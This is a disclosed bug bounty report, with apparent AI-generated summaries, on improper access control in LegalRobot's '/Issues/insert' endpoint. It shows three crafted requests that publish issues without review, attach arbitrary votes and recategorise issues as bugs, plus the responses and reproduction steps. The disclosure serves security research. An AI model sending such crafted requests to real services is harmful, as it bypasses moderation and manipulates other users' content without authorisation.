Improper validation of parameters while creating issues
The `/Issues/insert` endpoint did not properly validate parameters, allowing an attacker to create public issues without review, attach arbitrary votes to issues, and re-categorise issues as bugs. This could let an attacker bypass moderation and manipulate issue visibility and voting.
- Triaged in under an hour
- Fixed in under an hour
- Paid in under an hour
- Disclosed after under an hour
Heya LegalRobot Team,
There is some Improper Access Control on the /Issues/insert endpoint, which leads to three notable vulnerabilities.
The first allows attackers to create public issues without undergoing review by setting state: "Open" and public: true. A sample request is given below:
>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test2\",\"description\":\"testing2\",\"state\":\"Open\",\"type\":\"feature\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"public\":true,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4ade5b34f282b86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]
Notice that going to https://app.legalrobot-uat.com/roadmap while logged out shows the open ticket.
The second allows attackers to create issues with votes already attached simply by populating the votes parameter to an array of arbitrary IDs. A sample request is given below:
>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test3\",\"description\":\"testing3\",\"state\":\"New\",\"type\":\"feature\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"votes\":[\"8kPzAttw8qghnCKxo\",\"8kPzAttw8qghnCKxp\",\"8kPzAttw8qghnCKxq\",\"8kPzAttw8qghnCKxr\",\"8kPzAttw8qghnCKxs\"], \"public\":false,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4adf5b34f282d86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]
If you check the issue with ID fbwsw3WrdGyFsEtea, you'll see that it has 5 votes already attached to it, despite being under review. A screenshot of the outcome is also attached.
The third allows attackers to re-categorize their own issues by modifying the type field. For example, by setting type: "bug", an issue under Known Issues is generated. A sample request is given below:
>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test3\",\"description\":\"testing3\",\"state\":\"somestatehere\",\"type\":\"bug\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"votes\":[\"8kPzAttw8qghnCKxo\",\"8kPzAttw8qghnCKxp\",\"8kPzAttw8qghnCKxq\",\"8kPzAttw8qghnCKxr\",\"8kPzAttw8qghnCKxs\"], \"public\":false,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4adf5b35g282d86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]
A screenshot of the outcome is attached
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the endpoint accepted client-supplied fields like state, public, votes, and type without server-side validation or authorisation checks.
Impact
An attacker could create public issues without review, attach arbitrary votes to issues, and re-categorise issues as bugs, potentially bypassing moderation and manipulating issue visibility and voting.
What the attacker needed
Access to the `/Issues/insert` endpoint; ability to send crafted requests
How it was found
- Send a request to `/Issues/insert` with `state` set to `Open` and `public` set to `true`.
- Observe that the issue appears publicly on the roadmap page while logged out.
- Send a request to `/Issues/insert` with a `votes` array containing arbitrary user IDs.
- Observe that the created issue has those votes attached.
- Send a request to `/Issues/insert` with `type` set to `bug`.
- Observe that the issue is categorised under Known Issues.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The server accepted extra fields when creating an issue, such as a status of 'Open' and a public flag, without checking if the user was allowed to set them. This meant someone could post issues that skip review, add fake votes, or change the issue type to make it appear as a known bug.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.